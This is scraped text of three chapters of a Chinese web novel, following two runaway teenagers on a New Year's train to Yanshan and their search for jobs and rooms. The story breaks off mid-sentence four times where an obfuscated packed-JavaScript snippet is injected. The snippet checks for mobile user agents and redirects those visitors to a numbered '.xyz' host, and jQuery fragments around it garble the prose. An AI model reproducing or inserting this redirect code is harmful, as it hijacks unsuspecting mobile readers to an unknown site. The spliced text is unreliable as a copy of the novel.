d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535005|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那……命运?” “可以,把你的生辰八字告诉我吧。” 昌灵:“八二年冬月初一,具体时间我不知道。” 姐姐微微点头,摸出来三枚硬币,单手进行了一些昌灵看不懂的活动,她攥着卫生纸翘首以盼。 片刻后,姐姐哇了一声说:“小妹妹,你命很好哎。” 昌灵很轻的:“啊?” “我算过了。”她语气十分认真道,“你会有很好的一生。” 易阁听完这套空话当即把头歪到了另一个方向,心说不要钱的果然不靠谱。 “真的吗?!”此时女孩欣喜的声音在他耳边响起。 ……怎么昌灵好像真信了。 经此一卦,完全陌生的两个人迅速拉近了距离。易阁原本想提醒昌灵在外面能不能有些戒备心,不能什么人都相信。睁开眼却看见那人正从包里给昌灵翻找零食,小桌子上摆满了各种包装精致的小饼干和巧克力,花花绿绿,打眼看过去就知道价格不菲。 转眼再瞧她身边的男人手里的手机、腕上的手表,易阁识趣地闭了嘴,这是真有钱,犯不上骗昌灵。 “我不能要,姐姐你别找了。”昌灵手足无措道。 “吃吧,我背着下车也沉,挑点喜欢的,替我分担一下。” 昌灵盛情难却,只好象征性地拿了最小的一个,“这个就好,其它的姐姐你收起来吧。” 她却没有动作,笑着问昌灵:“你们大晚上的,这是要去哪啊?” 也没什么不能说的,昌灵想了想,老实回答去荣田。 “荣田?老家?还是有亲戚在?” “……不是。” “真是私奔啊?” “不是不是,我们只是同学。”昌灵急忙辩解道。 对方显然不信,继续说:“荣田那种地方有什么好去的,私奔也得挑个好点儿的地方吧。” 昌灵呆呆地问:“荣田不好吗?” “我觉得不好,经济和文化都落后,没什么发展前景。 “前一阵儿我还听说那边有人贩子流窜。” 昌灵震惊地张大了嘴巴,在桌子底下碰了碰易阁的胳膊,意思是你知道吗? 易阁皱了皱眉头,没有看她。 说话间,火车己经到达了下一个站点,叮叮的靠站铃中断了车厢内的谈话声。 昌灵望着外面全凭月光照明的站台,小声说了一句好黑啊,被易阁耳尖地捕捉到。他忽然想起不知道从哪听来的一句“小女孩怕黑”,心蓦地沉了一下。 明天下午才能到雁山,如果是荣田,岂不是要天不亮就下车?让昌灵一个人…… 然而侧目看去,身旁的女孩还在有礼貌地回问对面的人要去哪里,全然不知自己后面的处境是怎样。 易阁突然有些坐不住了。 火车缓缓发动,昌灵的注意力又被前方刚上车的一家三口吸引,目不转睛地盯着他们搬行李。 易阁想,送佛还是送到西吧。 “你说荣田不好,那你觉得雁山怎么样?”他嗓音低沉地开口询问道。 对面的男人闻声抬眸面无表情地扫了他一眼,女人倒是不在意他言辞的不礼貌,思索片刻道:“雁山不错,比荣田强不少。” 易阁沉吟片刻,朝昌灵伸出手,“你的票给我。” “怎么了?” “我去补票,我们多坐一会儿到雁山再下车吧。” “……好。” 昌灵没坐过火车,不知道去哪里可以补票。但看着易阁挤过人群的背影,她忽然明白了什么。 11. 2000 对面的夫妻二人下车时还未至新年,站台早已有人在等候,见到他们的身影热情地拥抱上去。直到目光所及皆是空旷的田野,昌灵才想起自己刚才忘记看站台的名字。 姐姐之前跟她说他们的目的地是临水,昌灵没好意思问是哪两个字,结果还是不知道他们是哪里人。 面前的座位很快有新的乘客代替,她低头看着手心里被塞满的五颜六色的糖果,又有些想流泪了。 易阁不客气地捏走一块糖,指尖触碰到她的掌心时,昌灵呼吸一滞,下意识握紧了另一侧的左手。 倒不是他拿糖果的缘故。 而是因为易阁去补票期间,那位姐姐写了张字条给她,并且神秘地叮嘱昌灵,一定要自己独自一人时才能打开。 字条一直被她握在手心里,没有打开,也没有收起来。按理说,与陌生人相比,她对易阁的信任度应该更高一些。但此刻,昌灵却莫名不想被他发现。 见易阁的注意力都在糖果包装的外文上面,昌灵不动声色地把字条塞进了毛衣口袋里,以后有机会再看吧。 时间走至深夜,乘客不管是坐是立,几乎都昏昏欲睡。易阁往里坐了坐,身体挨着昌灵。昌灵把书包抱在怀里,包带在手腕上绕了好几圈。 “别睡太死了。”易阁闭着眼睛轻声说。 昌灵打了个哈欠,无声地点点头,靠在了车厢壁上。 耳边的鼾声此起彼伏,伴随着偶尔出现的脚步声。半梦半醒间,昌灵仿佛听到了天边噼里啪啦炸裂的声音。她迷迷糊糊睁开眼,发现视线范围内的乘客都先她一步不约而同地看着窗外。 昌灵扭头望出去,金色光束划破地平线直冲云霄,于夜空中骤然四散,紧随其后的是一束又一束五彩缤纷的绚烂。 是烟花! 昌灵微微张开了嘴巴,片刻后情不自禁笑了起来。她急忙拍了两下身边人的胳膊,眼睛却始终看着窗外,语速很快地说:“易阁快醒醒!这里也能看见烟花!” ——易阁早就醒了。 托了母亲半夜会发病的福,他睡眠很浅,稍微有一点声响都会被吵醒。但他对烟花没兴趣,自然也想不到要叫醒昌灵。 没想到她看起来冷冷淡淡没什么情绪,竟然也会喜欢这些华而不实的东西。 易阁抬眸看着昌灵的侧脸,烟花的彩光映在她的脸上,照得瞳孔很亮。昌灵刘海很长,头发贴在脸颊两侧,又总是低着头,所以易阁其实没怎么看清过她的长相。 现下看来,昌灵一双眼睛很大,皮肤也白,眼下有两颗很明显的痣,像黑芝麻点。 易阁忽然觉得有点饿。 “你……”昌灵没听见他的声音,回头找人时正巧对上易阁探究的目光,她一顿,问道:“你看什么呢?” 易阁把视线挪到窗外,一点儿没有被抓包的尴尬,面不改色地说:“看你,没想到你这么幼稚,看个烟花至于高兴成这样吗。” “高兴啊。”昌灵说着收敛了笑意,反问道,“马上就是千禧年了,你不高兴吗?” “没什么可高兴的。” 昌灵正想再说什么,不远处乘客喊出的倒计时中断了两个人‘不高兴’的谈话。 “十——九——八——七——” 车厢里捧场的群众心领神会地齐声高呼。 “六——五——四——” 性格使然,即使昌灵十分开心,但她面上仍是淡淡的,只弯着眼睛看向热闹的人群。易阁深呼一口气,耸耸肩膀靠回椅背上。 “三——二——一——” “新年快乐!” 新年快乐。 昌灵在心里对易阁说。 这个人嘴太硬了,余光里她分明看见倒数时易阁低头笑了一下,还偏偏要说没什么可高兴的。 算了,不揭穿你了。 2000年1月1日,在烟花与人潮中,昌灵默默许下了新年的第一个愿望:希望我们,今后都是这样好的日子。 ** 昌灵睁开眼最先看到的是身旁空空如也的座位,顿时一个激灵吓醒了。顾不上僵硬到发疼的脖子,她蓦地站起身,却瞥见车厢尽头和人蹲着聊天的易阁。 他没走。 “呼——”她长舒一口气,理顺了自己额前的刘海。 天还是灰蒙蒙的,粗略估计也就只有五六点钟。昌灵拉开一点窗户想试试外面的温度,零下几度的冷风瞬间从缝隙里溜进来,吹飞了她最后一丝睡意。 外面还是冷的,但没有西乡冷。雁山是靠近南方没那么寒冷的地方。 十分钟后,易阁搓着手往回走。见他走近,昌灵翻出一块水果糖递给他,“你怎么醒这么早,刚刚跟他们在聊什么?” 易阁接过去干脆利落填进口里,含糊不清地说没什么,就随便聊聊。 昌灵原本也没多好奇,想了想又问:“我们还有多久下车啊?你饿吗?我这里还有吃的。” “饿,有什么?” “饼,我嫂子做的,还加了白糖。”说着昌灵从书包里拎出来一个小袋子,里面放着两块黄面饼。 “玉米面的。”她补充道。 易阁吃东西没那么挑,但眼前两块干巴巴的饼确实让人没什么食欲。他叹了口气,从口袋里摸出两个钢镚儿塞进昌灵手里,“你去餐车买两份粥回来。” “粥?我去买?” “啊。”易阁理所当然道,“我出钱你出力,不至于连两碗粥都端不回来吧。” 那倒是不至于。 昌灵收了钱没再多说什么,把自己的书包往易阁身边放了放。易阁也很上道,随即把手肘压在书包上方,好让她安心离开。 “那个……”昌灵站在过道边有些茫然,“餐车在哪里?” 易阁头也不抬:“你自己找找。” 他不想说自己其实也不知道。 昌灵见状只好硬着头皮往下一个车厢走。按常理说,有问题寻找乘务员是最快的解决方法,但她不太想跟陌生人说话。 反正车厢也就这么长,不是在这边,就是在那头,慢慢找总能找得到。 东边的车窗外已然升起一缕黎明的曙光,光斑不均匀地洒在昌灵手背上。 暖洋洋的。 起得早的小孩正横冲直撞地穿梭在人群里乱跑,不知道被谁的行李绊了一跤,跌坐在地上。 昌灵低头轻笑,小心地避开他,没有伸手扶。 幸运的是,没走几个车厢她就找到了餐车。不幸的是,餐车的人实在太多了。有座的、没座的都挤在这里,桌子上摆满了各式各样的饭盒。 原来大家坐火车都会自备食物。 昌灵想,等她下次再坐车,也要准备很多好吃的。 火车上的粥卖得也很水,米就那么多,卖完半个保温桶的量再补满水,眼下她手里的这一袋就比餐桌前坐着的人手里那些稀很多。 这怎么能顶饱。 昌灵舔了下发干的嘴唇,片刻后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535006|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前敲了敲卖粥的保温桶,“你好。” 乘务员给手边盛好粥的塑料袋系好,客气地问她怎么了。 昌灵晃了晃手里的粥,轻声说:“我来的应该也不算晚吧,一样的价格,这里面的米是不是太少了?” 乘务员对此习以为常,笑道:“是比一开始要稀,但米是定量的,您看给您添一些萝卜干可以吗?” “可以的。” 拎着粥和萝卜干回车厢的路上,昌灵步伐轻快,还好,这个世界还是讲公平的。 只要说出来就好。 见人回来,易阁很有眼力见儿地把塑料袋接过来,“辛苦了,还有榨菜啊。” “嗯。”昌灵把书包搁在腿上,解释道:“因为粥加太多水,这个算补偿。” “真假?他们这么有良心?” “我……稍微提了一下。”昌灵不好意思地说。 易阁侧目看着她,真心实意道:“那你还挺厉害的。” 昌灵抿抿嘴:“还好吧。” 易阁勾了下唇角,把两块饼掰成小块扔进粥里泡着,又把塑料袋的一端递给昌灵,“咱俩一人拎一头,可以吧。” 可以是可以,但—— 昌灵盯着两个人中间的粥,犹豫着问:“你都扔进去了,我们怎么吃啊……用手捞吗?” 易阁:“……” 大意了,忘记没有筷子了。 昌灵眨巴着大大的眼睛还在等他的回答。 易阁张了张嘴,结结巴巴说:“就、就这么吃啊。” “啊?” 两个人莫名其妙对视了半晌,也搞不清是谁先笑的。困顿昌灵多年的阴雨连绵突然在这一刻阳光普照,有人在她心里,悄悄换掉了那扇生锈的铁窗。 ** 到达雁山站时已经接近一点钟,这里的天气比想象中更好。 易阁拎着他的包快步走在前面,昌灵只得紧跟着他一路小跑。直到从车站大厅出来,昌灵才气喘吁吁地拉住易阁的手臂,“你走这么快做什么?” 易阁面无表情地把胳膊抽出来,看着路边的招工牌子没说话。 昌灵停在半空中的手一僵,片刻后若无其事地收回来,又问:“你是要去找工作吗?” “昂。”易阁退后一步,“你呢,你有什么打算?” “我……”她心中突然有些慌乱。 “算了,不用和我说,你慢慢想吧。” 昌灵如梦初醒。她眨了几下眼,手指不自觉攥紧了书包带,试探着说:“你的意思是,我们就在这里分开吗?” “当时说好了给你买票。” 后面的话易阁没说完,但昌灵明白了。票买了,目的地也到了,现在分开正好。 合情合理。 就是有些猝不及防。 她勉强笑了笑,思索片刻认真地说:“那,祝你找个好工作。” “嗯。” “胳膊记得擦药。” “嗯。” “还有,谢谢你。如果有机会,车票钱我可以还给你。” “不用。”易阁说,“那我走了?” 昌灵点点头,“保重。” “保重。” 易阁说完头也不回地向着马路对面走,昌灵盯了一会儿他的背影,转身向反方向移动。 或许是早上的饭吃得太开心,能量消耗得快,她现在急需吃点东西补充能量。 然后再给自己找个安置的地方。 12. 2000 易阁站在马路牙子上回头看,昌灵的身影已然消失不见。他也没空想许多,直奔一排招工的牌子而去。 火车站前招人的单位实在太多了,易阁看得眼花缭乱,眉头紧锁。 “小伙子,找工作啊?看看我们这,管吃管住。” 易阁闻言瞄了眼这人面前‘后厨招工’的牌子,说不了。在家烧火烧够了,他干不了这个。 “我们这待遇好,钱多好上手,小伙子来试试吧。” 听起来是不错,易阁低头看,泥瓦工啊。那还不如回村种地盖房子呢,何必坐这么远的车。 他沿着招工队伍一路走,到最后也没看见什么合适的工作。路旁蹲了一排等活儿的人,易阁插了个空放下包,挨着人一屁股坐下。 真难啊。 是不是自己要求太高了?要不然先随便找个工作将就干着?起码赚点钱。 或许是他这张脸和周围的环境有些格格不入,身旁很快有人跟他搭话道:“小兄弟,看你不像本地人啊。” 易阁假笑:“本地人脸上刻字啊。” “嘿,我看你在这溜达半天了,没瞧上合适的?” “没有。” 废话,有谁还会坐在这儿啊。 “想找个啥样的?你会点啥?” 易阁想了想,“会算数。” “上过学?”对方一听来了兴趣,又问:“成年了没?” “你问这个干什么?” 那人随手把他脚边的牌子举到易阁面前,“你看这个。” 易阁这才注意到原来这大哥也是招工的,只不过他的牌子贴的是机器打印的字,比其他人的手写字小不少,没那么显眼。 三九八机械厂招学徒,管吃不管住。 易阁粗略看完,说:“你这是正经单位吗,三九八?这什么名字?” “你看,我就说你是外地人吧,三九八都不知道。”大哥一拍大腿,给他做了个简单的介绍,“名儿叫隆兴机械厂,以前三九八军区的地,厂子搬来以后也一直这么叫。我们正经国营单位,待遇比那些都好,主要有发展前景啊。” 易阁半信半疑,重新仔细看了一遍招工启事,遣词造句是比那些要正规不少。 他疑惑道:“真有你说的这么好,那你怎么没招到人?” “学徒嘛,钱这方面就……”大哥给了他一个你懂得的眼神,“他们没眼光,只想赚快钱,我一看你就不一样。 “要不这样,你跟我去厂子看看,不行就拉倒。” 易阁有些心动,“在哪,远不远?” “算你走运,今天我骑三轮车来的,走,拉你过去。”说着大哥收拾了牌子就要起身。 “欸?”易阁拦了一下他,“那你不招人了?你不会是骗子吧?” “我骗你干啥,走走,这个点去食堂还能有剩饭,你没吃呢吧。” “……” 易阁:我看起来就像个爱吃剩饭的对吧。 他坐在三轮车的斗子里,把走过的街道快速记下来。这人倒是没骗他,过了半个小时,隆兴机械厂硕大的牌子就出现在眼前。 看起来还真是个大单位。 “刘工回来了。”门卫拉开小窗跟他打招呼,顺便打开了进人的小门。 “哎,今天回来得早。”他扶着门框让易阁先过,扭头继续说,“又不给钱,一天能招到一个人都是烧高香了。” 门卫伸长了脖子,悄声说:“老张上午带了一串人回来,不知道能留下几个。” “害,咱不管他,两路人。”大哥摆摆手,带着易阁往里走。 院子里停着好几辆大货车。 易阁环顾一周,开口问道:“您姓刘啊?” “是,刘天,还不知道你叫啥呢。” “易阁。” “啥?”刘天没听清,“哪两个字啊?” “容易的易,阁楼的阁。” 刘天琢磨了一会儿,才赞赏地点点头,“这名不错啊,谁起的?有什么讲儿吗?” “没有,我妈随便起的。” “……” 刘天沉默了一瞬,换了话题说:“我们先去吃饭吧,吃完正好上班的点儿,再去办公室聊聊。” 易阁自然是没意见,早上吃的实在太少,他早就饿了。 三九八的食堂很大,暖和得很。虽说已经过了吃饭的时间,但人不算少,应该都是午休时间没回家,在这稍作休息。 刘天找了个临窗能晒到太阳的位置让易阁坐好,打水打饭他一手包办。窗外正对着两棵大柳树,叶子落尽,枯枝交错。 再远点的厂房应该就是制造车间,易阁盯着看了好一会儿,环境还挺不错的。 刘天手脚很快,端着两大碗馄饨和两碗蛋花汤回来,把筷子搁在易阁手边,“尝尝,这里的馄饨好吃着呢,不够我再去给你打。” “谢谢。” “等吃完了我带你逛逛。” 易阁说行,低头喝了一口馄饨汤,从喉咙一路暖到胃里。汤里还加了点虾米和紫菜,很鲜,冬天就该吃点热乎的。 刘天说得并不夸张,三九八这种单位的前景确实比高薪泥瓦工要强上好些。早八晚五,午休两个小时,学徒期最长两个月,出徒以后工资也不算低,吃穿生活富富有余,到那时候正好他成年了,还可以投社保。 易阁估算了一下自己的钱,如果能按时出徒,这两个月的花销还是承担得起的,只是—— “单位不管住的话,周围有什么能住的地方吗?” “有。”刘天说,“出门往西,过两个路口,有个三九八小区,住的基本是都是我们单位和对面水厂的人。租个小点的房子也不贵,上下班也方便。” 易阁觉得合适,没怎么犹豫就定了工作,又拎着包按照刘天指的路过来看房子。‘吉房出租’的纸都贴在各家的玻璃上,他找了个视野开阔的前排楼,记下了玻璃上的号码。 小区外面有个小报亭,打电话也方便。 房东来得很快,热情地带着易阁在屋子里转了一圈,面积不大,五十平左右。客厅摆了张沙发和茶几,卧室一张一米二宽的单人床,客厅和卧室中间做了个玻璃隔断,透光性很好。除此之外厨房和卫生间都很小,但易阁需求不高,大体还是很满意的。 最主要的是楼前的视野没什么遮挡,站在窗前能看得很远。 让人心旷神怡。 “怎么样小伙子,对这房子还满意吧?”房东擦了擦沙发上的浮灰让易阁坐下。 易阁点点头,“一个月一百九,还能再便宜点吗?” “你要是租的时间长,价格还能再谈,但你要是只租三个月,一百九这个价格已经很划算了。我敢跟你保证,满小区你找不出一个比我还良心的了。” 长租,暂时还不行。但好在单位管饭,也没什么多余的花销。易阁沉吟片刻,还是付了三个月的房租。就这样,一下午的时间,他光速解决了工作和住宿两件大事。 房东临走时把楼下草房的钥匙也一并给了易阁,说万一他以后骑车上班还能有个地方放车子。还很大方地表示,里面的工具、旧家电易阁随意用。 水电都是现成的,合上闸就能用。易阁简单收拾完卫生,把自己的旧床单拿出来铺好,又在附近的市场买了床新被子。 晚饭是之前剩下的两个馒头和刚刚在市场带回来的清炒土豆丝,就在他把土豆丝夹在馒头里时,突然晃神想道,也不知道昌灵现在怎么样。 ** 火车站附近的牛肉面六块钱一碗,里面只有两片牛肉。昌灵吃完最后一根面条,喝了两口汤。 味道不怎么样。 原本以为到了雁山还能跟易阁一起,再加上第一次坐火车有些兴奋和紧张,导致她一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535007|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上都没什么心思想后面的事,眼下就有些麻烦了。 身上的钱根本住不了几天宾馆,得赶在天黑之前找个能落脚的地方。 面店的墙上贴了不少报纸小广告,昌灵一张张看过去,发现了零星几个招租信息。虽然不知道这些是猴年马月的事,但还是想试一试。 这么多,背是不可能背下来的。她攥了攥拳,起身去找老板借纸笔。 老板很是痛快,又随口问昌灵:“要租房子啊小妹?” “对……我家里哥哥要来。”她胡乱编了个理由,“他身上没什么钱,我看看有没有便宜的地方可以住。” “外地的?” 昌灵含糊地点点头,沉默着继续抄报纸。 “那你住哪啊?兄妹住一起不行吗?”老板过来收拾餐具,又说,“报纸上也没得便宜地方吧。” 昌灵:“我、我住学校,所以不太清楚外面的行情。” “那妹妹,让他找个合租的房子住呗,反正就他自己,这样最划算。”旁边吃面的顾客听完说道。 老板也赞同,说比自己租要便宜得多。 这些人听起来还挺有经验的,昌灵趁热打铁问:“那你们知不知道哪里有这种房子?” “那肯定是居民楼里的便宜,但不找中介的话不好找。你往市里走走,有这样的宾馆住,也贵不了多少。” 昌灵忙把纸笔递给他。 半个小时后,她拿着写好的几个宾馆名字坐上了去市里的公交车,比村里的大巴车还要宽敞不少。路面是沥青铺的,坐车不再是颠簸摇晃。 但下车之后昌灵就不认识路了,废了好半天劲才找到其中一家,脸被冷风吹得通红。她在宾馆门口用玻璃门充当镜子,理好了刘海才往里走。 “是要住宿吗?”听见开门声,前台大姐扬声开口。 “你好。”昌灵两只手绞在一起,有些局促,“我想合租一个房间。” “可以,有空位,你想住几人间?” “有几人间?多少钱?” “八人的一个月二十五,男女混住。四人的四十,俩人的六十,你要哪样的?” 男女混住肯定是不行的。昌灵想了想,“四人和两人的,我能都看看吗?” 大姐说行,招呼了另外的服务员带她去看房。 宾馆一共四层,楼上两层都是长租的。服务员的年纪和昌灵差不多大,说话也实诚,劝她如果不缺钱,还是住两人间比较好。 昌灵问为什么,她却又不说了。 “这屋是个女生的四人间,还空一张床。”服务员敲了敲门,片刻后里面哗啦哗啦的声音里夹杂着一声不耐烦的“进”。 服务员带着她进去。 烟味很呛。 昌灵不着痕迹地皱皱眉,从服务员身后偏头看过去,先前听到的奇怪声音原来是一屋子人正在打麻将。 瓜子皮和烟灰散了满地,桌子上还摆着不少钱。见她们二人进来,有人出声问:“干嘛?” 服务员解释道:“租房子的,我带她过来看看。” “哦,看吧。”那人说完又继续打麻将,没搭理她们。 服务员给昌灵指了指上面的空床铺,就是那张。 昌灵对着她小幅度摇摇头,这间不行。 服务员意会,带着她出了门。门板刚合上,昌灵随即长长地舒了一口气,问:“没有别的四人间了吗?” “有是有,但你得自己找其他租客。” “那二人间……” “布局都是一样的,就是上下床换成了单人床,能舒服很多。屋里有个洗脸池,澡堂和卫生间都是公用的。” 昌灵心里叹气,这种情况就算换其他家宾馆也不见得会好多少。坐了一天一夜火车,又走了这么多路,确实没有多余的精力了。 她点点头,“那我住两人间吧,去楼下交钱?” 13. 2000 “你是未成年人?”前台大姐登记昌灵的身份证信息时,抬眸扫了她一眼。 昌灵掐了下手指,反问道:“有问题吗?” “没,一个月六十包水电,你住几个月?” 昌灵从包里拿出来六十块钱给她。 “行,钥匙给你,四楼406,要热水直接到一楼来拎。 “那屋已经住了一个人,好好相处不要惹事哈。” 昌灵点头应下。 只是合租室友而已,面子上过得去就行。 406在阳面,能晒到太阳。刚才服务员告诉她,室友白天都在。昌灵抱着被子床单,费劲地腾出一只手理了理头发和衣服,第一次见面,要给人家留个好印象才行。 她轻轻敲了两下门,听到里面有人喊“进”才扭开门锁。 “你是谁?有事吗?”穿着紧身毛衣、牛仔裤的漂亮女人靠在窗台前抽烟,神情冷淡地看向昌灵。 昌灵下意识停在门口没动,眼前这位室友和她想象中大相径庭,西乡没有这种气质的人。 “说话啊。”室友催促道。 昌灵又有些紧张起来。她声音不大:“我今天刚搬过来,和你一起住。” 室友闻言皱了皱眉,夹着烟朝她走近,“新来的?前台让你跟我住一个屋?” “嗯。” “叫什么名字?我看你年纪很小的样子,几岁了?” “昌灵。”她回答道,“不小了。” “不小是多大?”室友把烟头扔在地上碾灭,也没兴趣真要听她的年龄,只说:“我叫黄燕,她们都叫我燕姐。” 昌灵顺着她的话问,她们是谁? 黄燕扭着脖子看了她一眼,敷衍道:“我同事,你也跟着叫就行。” “好。”昌灵无所谓这些。 空床上堆着很多衣服和杂物,黄燕拧着眉看了半天,脸上略显不耐烦。昌灵怕起矛盾,刚想说可以和她一起收拾,只见黄燕掏出手机打了个电话,似乎是叫来了什么人。 城里人都有手机吗? 挂断电话,她指指自己的床铺,“你坐那等会吧,马上给你收拾出来。” 昌灵自然没意见。 咚咚咚。 人来得非常快。 昌灵正惊讶于对方的速度,门一打开,却是两张熟悉的面孔。 ——刚才在楼下打麻将的那几个人。 “怎么了燕姐?”进门的人扫了一眼昌灵,出声问道。 黄燕:“把这张床空出来,她要住。” 二人闻言一同看向昌灵,目光并不友善。 昌灵抿着嘴,微微点了下头。 片刻后有人问:“她跟我们一起的?” 黄燕面露烦躁,“不是,先收拾吧,你们要是有喜欢的就拿走。” “真的啊?谢谢燕姐!”两个人立马欢天喜地地挑起了衣服。 而黄燕,则是坐在床边玩起了手机,丝毫没有要动手的意思。 这么多好看的衣服,说送人就送了。昌灵悄悄看了一会儿,心里有些羡慕。 等把床铺彻底收拾好,时间已至傍晚。 黄燕和她两个同事说是上夜班,出门前叮嘱昌灵睡觉时记得锁好门,她下班用钥匙能打开。 昌灵认真记下了。 房间里的烟味散得慢,四周始终弥漫着一股淡淡的烟草气息,黄燕她们身上也是这个味道。 昌灵躺在床上轻轻抚摸着崭新的床铺,比她在家用的都柔软。 这一刻,她无比坚信自己的选择是正确的。 至于随地乱丢垃圾的事,还是要抽空跟黄燕聊一聊。 毕竟大家同住一个屋檐下。 ** 第二天昌灵起了个大早,把周围墙面和电线杆上的招聘小广告看了个遍: 宾馆的服务员、饭店的服务员、洗脚城的服务员。 来来回回都是这类工作,看得她差点都要不认识‘服务员’三个字了。难道就没有其他工作了吗? 在家要照顾一家老小,好不容易出来了还是得服务别人? 昌灵心里沮丧,沿着街道漫无目的地走,还要留心记着路,生怕一个走错连睡觉的地方都回不去。 昨天许的愿望还是太草率了,什么我们的日子都要好,还不如说祝自己快点找到一个好工作。亏得她还把愿望分了一半给易阁,结果人家还不是说走就走了。 真够讨厌的。 不过比起浪费掉的半个愿望,更让昌灵无法忍受的是,她每走过一个街道,路口几乎都有一个早点摊。低温环境下,热气腾腾的白气变得格外诱人。 但她昨天晚上就想好了,现在手里的钱只进不出,找到工作之前,一天只吃一顿饭就好。 眼下还不到该吃饭的时候。 方圆五米之内都是包子米粥的香味,昌灵逃一样快步离开了现场。 她边走边想道,等以后自己有了钱,一顿来买十个包子,顿顿味道都不重样。 今天阴天,没有太阳。昌灵无头苍蝇般转了一上午,最终停在了一栋大楼门前——百利商厦。金色的立体牌子,外墙上的蓝玻璃擦得锃亮。 大门还是旋转的。 昌灵没见过,怕出洋相,只得若无其事在门口等了一会儿。直到有人进去,她才忙跟在了后面,还差点因为太过慌乱而踩到前面人的脚后跟。 但她很快就顾不上慌乱了。 这个商厦的一楼是卖黄金首饰的。刚一进门,昌灵就被映入眼帘的金镯子晃得愣了愣神。她不太好意思走近看,只远远望着。 柜台里的工作人员都穿着统一,黑色西装外套,头发低低的盘在脑后,衬得人简洁干练。 这样的工作看起来才体面。 昌灵叹了口气,绕开了这片金灿灿的区域往里走。 紧挨着黄金柜台的是卖翡翠的,她也只敢偷瞄一眼价格牌。再往后是护肤品专柜,柜台前围了不少光鲜亮丽的人。最里面卖的是手机,待昌灵看清之后转身上了二楼。 通往二楼的台阶上贴着介绍,是服装城。 比起一楼的富丽堂皇,二楼显得亲民许多。昌灵深呼了两口气,确定周身莫名的不适感有所缓解后才继续往里走。 二楼的商铺都做好了间隔,屋里和走廊都挂满了衣服,男装女装,各式各样。她趁店主不注意,拿起手边衣服的吊牌看了一眼,零售价:29元。这才放下心来。 还好,是她承担得起的价格。 “妹妹,看衣服呦?”里间的店主隔着人群朝她招呼道。 昌灵闻声立刻放下吊牌,移开目光往下一家走。卖衣服的人远比楼下卖首饰的人热情得多,但昌灵不太习惯,人越热情她越想走。 正当昌灵想上三楼看看时,不远处一家店门口贴的白纸吸引了她的视线。 好像写着招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535008|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聘? 昌灵眼睛一亮,忙上前查看,果然是招店员。她探头往里看,衣服很漂亮,生意非常好。 “您好,需要什么可以进来看一下,有喜欢的可以让我给您拿下来试——”店员正蹲在架子底下翻衣服,看见昌灵进门非常热情地说道。 昌灵抿着嘴巴走过去,“您好,我想应聘。” “啊?应聘?”店员把找出来的衣服递给等在一旁的顾客,“您去那边帘子里试,不过里面还有人,稍等一下哈。” 等她招呼完所有顾客,才转头对昌灵说:“应聘是吧,你去那边坐着等一下,老板出去吃饭去了,马上回来。” 昌灵说好,乖乖坐在门口的小马扎上,尽量不让自己碍事。 事实证明,老板回来的是很快,但没时间搭理她。今天是周末,顾客一批连着一批,老板和两个店员都忙得不可开交、晕头转向。 昌灵几乎在门口等了大半个下午,活像个吉祥物。她把头埋在膝盖上,开始怀疑是不是老板不想要她,这才故意把自己晾在这里。 “不好意思不好意思,今天实在太忙了。”又过了一个小时,先前招呼她的店员才叠着衣服走过来,“你跟我来吧,老板要跟你谈。” 昌灵冲她感激地点点头,双手在袖口里攥了攥拳。 进到里面,老板还在猛猛喝水,看年纪大约三四十岁,跟嫂子差不多。 “您好。”昌灵小声说。 老板抬抬手示意她先坐下。 又过了片刻,老板喝完水盖上瓶盖,说:“之前卖过东西吗?先做个自我介绍吧。” 昌灵突然有一种这题自己不会却被老师点到名字的局促感。 她僵硬地笑了下,“我,我叫昌灵,十七岁。之前……在老家的集上卖过菠菜和土豆。” “上过学没?” “上过的,高三了。” “那会算数啊,后来为啥子不读了?” “家里没钱。” “嘶。”老板打量了她一会儿,不太满意道:“但我看你性格很内向啊,我们卖衣服要能说会道的,你能行吗?” 昌灵快速点头:“我可以的老板,真的。” “长得倒是挺好看的,来,你站起来我看看。” 昌灵不明所以,但还是照做。 “身高也可以。 “这样吧,你先在这干一个月试试。要是进了新款你就穿在身上给顾客展示展示,顺便跟着她们学学怎么卖货。” “真的吗?” 